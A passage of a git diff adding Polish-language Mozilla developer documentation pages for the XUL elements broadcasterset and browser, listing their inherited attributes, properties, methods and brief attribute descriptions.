href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
diff --git a/files/pl/mozilla/tech/xul/broadcasterset/index.html b/files/pl/mozilla/tech/xul/broadcasterset/index.html
new file mode 100644
index 0000000000..c3e5c7368f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/broadcasterset/index.html
@@ -0,0 +1,92 @@
+---
+title: broadcasterset
+slug: Mozilla/Tech/XUL/broadcasterset
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/broadcasterset
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Element kontenera dla elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/broadcaster" title="broadcaster">broadcaster</a></code>. <code>broadcasterset</code> i jego elementy potomne nie są wyświetlane. </p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Rozg%c5%82aszacze_oraz_obserwatory">kursie XUL</a>.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
diff --git a/files/pl/mozilla/tech/xul/browser/index.html b/files/pl/mozilla/tech/xul/browser/index.html
new file mode 100644
index 0000000000..8ac5ac100f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/browser/index.html
@@ -0,0 +1,406 @@
+---
+title: browser
+slug: Mozilla/Tech/XUL/browser
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/browser
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Ramka, która powinna wyświetlać dokument WWW. Element ten jest podobny do elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/iframe" title="iframe">iframe</a></code> z tą różnicą, że podtrzymuje historię stron i zawiera dodatkowe metody do manipulacji aktualnie wyświetlaną stroną.
+</p><p>Większość własności i metod przeglądarki będzie rzadko używana i będzie je można wywołać tylko z poziomu dokumentu o adresie URL chrome. Dokumenty z innych adresów URL będą do zmiany wyświetlanego dokumentu musiały stosować obiekty dokumentu i historii.
+</p>
+<dl><dt> Atrybuty </dt><dd> <a href="#a-autocompleteenabled">autocompleteenabled</a>, <a href="#a-autocompletepopup">autocompletepopup</a>, <a href="#a-autoscroll">autoscroll</a>, <a href="#a-disablehistory">disablehistory</a>, <a href="#a-disablesecurity">disablesecurity</a>, <a href="#a-homepage">homepage</a>, <a href="#a-src">src</a>, <a href="#a-browser.type">type</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-accessible">accessible</a>, <a href="#p-canGoBack">canGoBack</a>, <a href="#p-canGoForward">canGoForward</a>, <a href="#p-contentDocument">contentDocument</a>, <a href="#p-contentTitle">contentTitle</a>, <a href="#p-contentViewerEdit">contentViewerEdit</a>, <a href="#p-contentViewerFile">contentViewerFile</a>, <a href="#p-contentWindow">contentWindow</a>, <a href="#p-currentURI">currentURI</a>, <a href="#p-docShell">docShell</a>, <a href="#p-documentCharsetInfo">documentCharsetInfo</a>, <a href="#p-homePage">homePage</a>, <a href="#p-markupDocumentViewer">markupDocumentViewer</a>, <a href="#p-browser.preferences">preferences</a>, <a href="#p-securityUI">securityUI</a>, <a href="#p-sessionHistory">sessionHistory</a>, <a href="#p-webBrowserFind">webBrowserFind</a>, <a href="#p-webNavigation">webNavigation</a>, <a href="#p-webProgress">webProgress</a>
+</dd></dl>
+<dl><dt> Metody
+</dt><dd> <a href="#m-addProgressListener">addProgressListener</a>, <a href="#m-goBack">goBack</a>, <a href="#m-goForward">goForward</a>, <a href="#m-goHome">goHome</a>, <a href="#m-gotoIndex">gotoIndex</a>, <a href="#m-loadURI">loadURI</a>, <a href="#m-loadURIWithFlags">loadURIWithFlags</a>, <a href="#m-reload">reload</a>, <a href="#m-reloadWithFlags">reloadWithFlags</a>, <a href="#m-removeProgressListener">removeProgressListener</a>, <a href="#m-stop">stop</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<div class="float-right"><img alt="Image:XUL_ref_browser.png"></div>
+<pre>&lt;!-- shows Mozilla homepage inside a groupbox --&gt;
+&lt;groupbox flex="1"&gt;
+ &lt;caption label="Mozilla homepage"/&gt;
+ &lt;browser type="content" src="http://www.mozilla.org" flex="1"/&gt;
+&lt;/groupbox&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><p></p><div id="a-autocompleteenabled">
+
+<dl><dt> <code id="a-autocompleteenabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autocompleteenabled">autocompleteenabled</a></code>
+</dt><dd> <b><span class="highlightred">Tylko Firefox</span></b>
+</dd><dd> Typ: <i>boolean</i>
+</dd><dd> Wartość <code>true</code> włącza automatyczne uzupełnianie pól tekstowych.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-autocompletepopup">
+
+<dl><dt> <code id="a-autocompletepopup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autocompletepopup">autocompletepopup</a></code>
+</dt><dd> Typ: <i>id elementu wyskakującego (popup)</i>
+</dd><dd> <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/popup" title="popup">popup</a></code> wykorzystywanego do przechowywania wyników automatycznego uzupełniania dla tego elementu.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-autoscroll">
+
+<dl><dt> <code id="a-autoscroll"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autoscroll">autoscroll</a></code>
+</dt><dd> <b><span class="highlightred">Tylko Firefox</span></b>
+</dd><dd> Typ: <i>boolean</i>
+</dd><dd> Wartość <code>false</code> wyłącza automatyczne przewijanie dla danej przeglądarki. Jeśli atrybut jest ustawiony na <code>true</code> lub zostanie pominięty, automatyczne przewijanie zostanie włączone lub będzie zależne od wartości opcji <code>general.autoScroll</code>.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-disablehistory">
+
+<dl><dt> <code id="a-disablehistory"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disablehistory">disablehistory</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli atrybut ma wartość <code>false</code>, przycisk ze strzałką wyświetli się na końcu pola tekstowego, które otworzy menu rozwijane wszystkich dostępnych wyników. Domyślna wartością jest <code>true</code>, ukrywające przycisk rozwijania.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-disablesecurity">
+
+<dl><dt> <code id="a-disablesecurity"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disablesecurity">disablesecurity</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Wartość <code>true</code> wyłącza UI bezpieczeństwa dla tej przeglądarki. Pominięcie tego atrybutu włącza je.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-homepage">
+
+<dl><dt> <code id="a-homepage"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/homepage">homepage</a></code>
+</dt><dd> Typ: <i>adres URL strony startowej</i>
+</dd><dd> Atrybut ten pozwala ustawić stronę startową dla elementu <code>browser</code>. Nie ma to żadnego związku ze stroną startową użytkownika przeglądarki. Pozwala za to na wygodne przechowywanie adresu strony startowej. Stronę startową można otworzyć przy użyciu metody <span id="m-goHome"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goHome">goHome</a></code></span>.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-src">
+
+<dl>
+ <dt>
+ <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code></dt>
+ <dd>
+ Typ: <i>URL</i></dd>
+ <dd>
+ Adres URL zawartości do wyświetlenia w elemencie.</dd>
+</dl>
+
+<p> </p>
+</div>
+<div id="a-browser.type">
+
+<dl><dt> <a href="pl/XUL/Atrybut/browser.type">type</a>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Typ przeglądarki, który może zostać użyty do ustawienia dostępu do dokumentu wczytywanego wewnątrz przeglądarki. Jeśli nie jest ustawiony, wczytywany dokument posiada taki sam dostęp jak okno zawierające <code>&lt;<code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code>&gt;</code>.
+</dd></dl>
+<ul><li> <code><b>content</b></code>: Przeglądarka zawartości. Zawartość, która jest wczytywana wewnątrz przeglądarki, nie ma dostępu do warstwy chrome ponad nią.
+</li><li> <code><b>content-primary</b></code>: Główna przeglądarka dla zawartości. Zawartość, która jest wczytywana wewnątrz przeglądarki, nie ma dostępu do warstwy chrome ponad nią. Przykładowo, w przeglądarce WWW będzie to element, który wyświetla stronę internetową. Wygodniejszy dostęp do okna dla głównej zawartości zapewnia <code><a href="pl/DOM/window.content">window.content</a></code>.
+</li></ul>
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+<p>Dodatkowe informacje znaleźć można <a href="pl/Kurs_XUL/Panele_tre%c5%9bci">kursie XUL</a> i <code><code><a href="/pl/docs/Mozilla/Tech/XUL/iframe" title="iframe">iframe</a></code></code>
+</p><p><br>
+</p>
+
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><p></p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-canGoBack">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/canGoBack">canGoBack</a></span></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Własność tylko do odczytu ma wartość <code>true</code>, jeśli istnieje strona w historii sesji, do której można się cofnąć, a przycisk 'Wstecz' powinien być dostępny.
+</dd></dl>
+
+</div>
+<div id="p-canGoForward">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/canGoForward">canGoForward</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Własność tylko do odczytu ma wartość <code>true</code>, jeśli istnieje strona w historii sesji, do której można przejść, a przycisk 'Do przodu' powinien być dostępny.</dd>
+</dl></div>
+<div id="p-contentDocument">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/contentDocument">contentDocument</a></span></code>
+</dt><dd> Typ: <i>document</i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt dokumentu w danym elemencie.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-contentTitle">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/contentTitle">contentTitle</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Własność tylko do odczytu zawierająca tytuł obiektu dokumentu w przeglądarce.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-contentViewerEdit">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/contentViewerEdit">contentViewerEdit</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIContentViewerEdit">nsIContentViewerEdit</a></i>
